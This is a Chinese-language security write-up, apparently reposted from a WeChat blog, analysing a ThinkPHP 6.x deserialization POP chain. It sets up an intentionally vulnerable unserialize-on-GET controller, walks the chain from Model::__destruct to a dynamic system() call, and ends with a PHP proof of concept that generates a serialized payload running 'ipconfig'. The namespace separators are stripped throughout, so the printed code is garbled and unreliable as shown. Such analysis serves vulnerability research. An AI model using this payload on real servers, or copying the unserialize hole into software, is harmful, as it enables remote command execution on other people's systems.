环境准备
安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x-dev v6.0
修改application/index/controller/Index.php Index类的代码
class Index
{
public function index()
{
$payload = unserialize(base64_decode($_GET['payload']));
return 'ThinkPHP V6.x';
}
}
开启ThinkPHP6调试
将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true
利用链
thinkModel --> __destruct()
thinkModel --> save()
thinkModel --> updateData()
thinkModel --> checkAllowFields()
thinkModel --> db()
--------此处以下同tp 5.2后半部分利用链--------
thinkmodelconcernConversion --> __toString()
thinkmodelconcernConversion --> __toJson()
thinkmodelconcernConversion --> __toArray()
thinkmodelconcernAttribute --> getAttr()
thinkmodelconcernAttribute --> getValue()
POP链分析复现
__destruct()
首先寻找可利用的__destruct()
在vendor/topthink/think-orm/src/Model.php中找到
lazySave可控,构造lazySave为true,进入save()函数
save()
updateData()
此处先行提示一下,我们下一步需要利用updateData()方法,所以此处需要构造条件触发
-
$this->isEmpty() == false
查看$this->isEmpty()代码
使其返回false需要满足
$this->data != null
-
$this->trigger(‘BeforeWrite’) === true
在vendor/topthink/think-orm/src/model/concern/ModelEvent.php中查看trigger方法
使其返回true需要满足
$this->withEvent === false
-
$this->exists == true
满足条件后进入 updateData()方法,此处只截取利用到的代码
此处我们要用到 checkAllowFields(),所以需要保证在此之前不会return退出这个方法
-
$this->trigger(‘BeforeUpdate’) == true
-
empty($data) == true
-
$data != null
$data值来源于getChangedData(),我们在 vendor/topthink/think-orm/src/model/concern/Attribute.php 中找到此方法
出于构造POP链考虑,我们应使$this->force == true,使其直接返回$data,避免返回其他数值或内容影响构造
checkAllowFields()
此函数中我们需要触发 db() 方法,即需要满足以下条件
-
$field = []
-
$schema = []
db()
$this->connection可控,赋值为”mysql”;name()方法参数完全可控,字符串拼接,触发__toString()
后面POP链与ThinkPHP5.2相同,需要注意的是,Model为抽象类,不能实例化,我们需要他的子类,和thinkPHP5.2一样我们还是使用Pivot来构造。
__toString()
我们选择 vendor/topthink/think-orm/src/model/concern/Conversion.php 来触发__toString()
跟进 toJson()
跟进 toArray()
toArray()
我们只截取关键代码进行分析
此处我们需要触发 getAttr()
方法,我们分析触发条件
-
$this->hidden[$key] == null,
$this->hidden
可控 -
$hasVisible == false ,
$hasVisible
默认为false,
注意两个 getAttr()
只能使用第175行的,原因见图
getAttr()
跟进getAttr()
$key
会传入 getData()
方法,跟进 getData()
跟进 getRealFieldName()
当 $this->strict == True
时,直接返回 $name
返回 getData()
,经由上面分析可以得出,通过构造可使 $fieldName = $key
,之后进入if判断逻辑
此处if条件满足,返回 $fieldName
给 getAttr()
中的 $valur
调用的函数getValue(),参数中 $name
是 $this->withAttr
的键名,$value
是命令
getValue()
$this->withAttr[$key]
作为函数名动态执行,$value
作为参数
如果命令是ipconfig
,那么最终执行的就是 system("ipconfig", ["test"=>"ipconfig"])
对于函数system()
的用法,参见php手册https://www.php.net/manual/zh/function.system.php
POC
<?php
namespace think;
use thinkmodelPivot;
abstract class Model{
private $lazySave = false; # save()
private $exists = false; # updateData()
protected $connection;
protected $name; # __toString() Conversion.php =>Pivot
private $withAttr = []; # assert
protected $hidden = [];
private $data = [];
protected $withEvent = false;
private $force = false;
protected $field = [];
protected $schema = [];
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->withEvent = false;
$this->force = true;
$this->connection = "mysql";
$this->withAttr = ["test"=>"system"];
$this->data = ["test"=>"ipconfig"];
$this->hidden = ["test"=>"123"];
$this->field = [];
$this->schema = [];
}
}
namespace thinkmodel;
use thinkModel;
# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类
class Pivot extends Model{
function __construct($obj=""){
parent::__construct();
$this->name = $obj; # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功
}
}
$a=new Pivot();
echo base64_encode(serialize(new Pivot($a)));
长按识别二维码,求关注求点👍
本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论